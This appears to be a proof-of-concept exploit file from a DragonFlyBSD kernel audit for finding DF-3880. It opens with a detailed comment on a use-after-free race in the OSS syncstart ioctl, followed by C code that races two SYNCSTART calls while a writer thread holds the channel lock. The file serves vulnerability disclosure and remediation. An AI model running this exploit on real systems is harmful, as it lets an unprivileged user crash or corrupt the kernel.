โฌข DragonFlyBSD Kernel Audit
DF-3880 / syncstart_race.c
โ† back to finding โ†“ download raw
/*
 * DF-3880 PoC โ€” use-after-free race in dsp_oss_syncstart()
 * (sys/dev/sound/pcm/dsp.c:2992-3082), triggerable by any unprivileged
 * user on a machine with a PCM sound device (/dev/dsp* are 0666).
 *
 * The race (dsp.c:3001-3051):
 *
 *   T1: PCM_SG_LOCK(); finds sg; walks sg->members with CHN_TRYLOCK;
 *       CHN_TRYLOCK(sm->ch) FAILS on member M_k (lock held by a concurrent
 *       writer/ioctl on that channel) ->
 *           unlock members M_0..M_{k-1}
 *           lksleep(sm, &snd_pcm_syncgroups_mtx, PCATCH, "pcmsg", 5ms)
 *               ^^^^^^^ DROPS the syncgroup lock while asleep
 *
 *   T2: SYNCSTART on the same sg_id while T1 sleeps:
 *       PCM_SG_LOCK() (free now) -> locks ALL members (T1 released them)
 *       -> starts every member, SLIST_REMOVE_HEAD + kfree() every sm,
 *          SLIST_REMOVE + kfree() sg itself      (dsp.c:3056-3069)
 *
 *   T1: 5ms timeout fires, lksleep() returns 0 ->
 *       `needlocks = 1; ret = 0;` ->
 *       the inner SLIST_FOREACH CONTINUES from the stale `sm`:
 *           sm = SLIST_NEXT(sm, link)   <- read of FREED sm  (UAF)
 *           CHN_TRYLOCK(sm->ch)         <- read of FREED sm->ch (wild
 *                                          lock pointer -> panic/corruption)
 *       ... and the enclosing sg is also freed.
 *
 * No signal is needed: the plain 5ms timeout wake (lksleep returns 0)
 * resumes the walk.  The EINTR path (`break`) is safe; the timeout path is
 * not.  The window is wide because T2's whole teardown is a few
 * microseconds that fit entirely inside T1's 5ms sleep, and the trylock
 * failure can be forced deterministically by keeping the member channel's
 * lock contended (a blocked/looping writer thread on the same fd).
 *
 * This guest has no PCM device (env.txt), so the kernel race cannot run
 * here; the binary documents the gate and would run verbatim on a
 * sound-equipped DragonFly box.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>

static int dsp_fd = -1;
static volatile int stop_writer;

static void *
writer(void *arg)
{
	unsigned char buf[4096];
	memset(buf, 0x7f, sizeof(buf));
	while (!stop_writer)
		(void)write(dsp_fd, buf, sizeof(buf));	/* contends CHN lock */
	return (NULL);
}

struct start_arg { int id; };

static void *
starter(void *arg)
{
	int id = ((struct start_arg *)arg)->id;
	int dummy = id;
	ioctl(dsp_fd, SNDCTL_DSP_SYNCSTART, &dummy);	/* the racing call */
	return (NULL);
}

int main(void)
{
	dsp_fd = open("/dev/dsp", O_RDWR);
	if (dsp_fd < 0) {
		printf("[*] open(\"/dev/dsp\"): %s (errno=%d) โ€” no PCM device "
		       "on this guest; kernel race not executable here\n",
		       strerror(errno), errno);
		return (2);
	}

	pthread_t w;
	stop_writer = 0;
	pthread_create(&w, NULL, writer, NULL);

	for (int i = 0; i < 100000; i++) {
		oss_syncgroup sg;
		memset(&sg, 0, sizeof(sg));
		sg.mode = PCM_ENABLE_OUTPUT;
		sg.id = 0;				/* create new group */
		if (ioctl(dsp_fd, SNDCTL_DSP_SYNCGROUP, &sg) < 0) {
			printf("SYNCGROUP failed: %s\n", strerror(errno));
			break;
		}
		int id = sg.id;

		struct start_arg a = { .id = id };
		pthread_t t1, t2;
		/* T1 first: it should hit the contended channel lock and
		 * sleep in lksleep("pcmsg"). T2 follows immediately and
		 * tears the group down while T1 sleeps. */
		pthread_create(&t1, NULL, starter, &a);
		usleep(1000);				/* let T1 enter the walk */
		pthread_create(&t2, NULL, starter, &a);
		pthread_join(t1, NULL);
		pthread_join(t2, NULL);
		if (i % 10000 == 0)
			printf("iteration %d (sg id %d)\n", i, id);
	}

	stop_writer = 1;
	pthread_join(w, NULL);
	close(dsp_fd);
	printf("[!] survived โ€” no UAF observed this run (race is "
	       "probabilistic; on hardware rerun with more iterations)\n");
	return (0);
}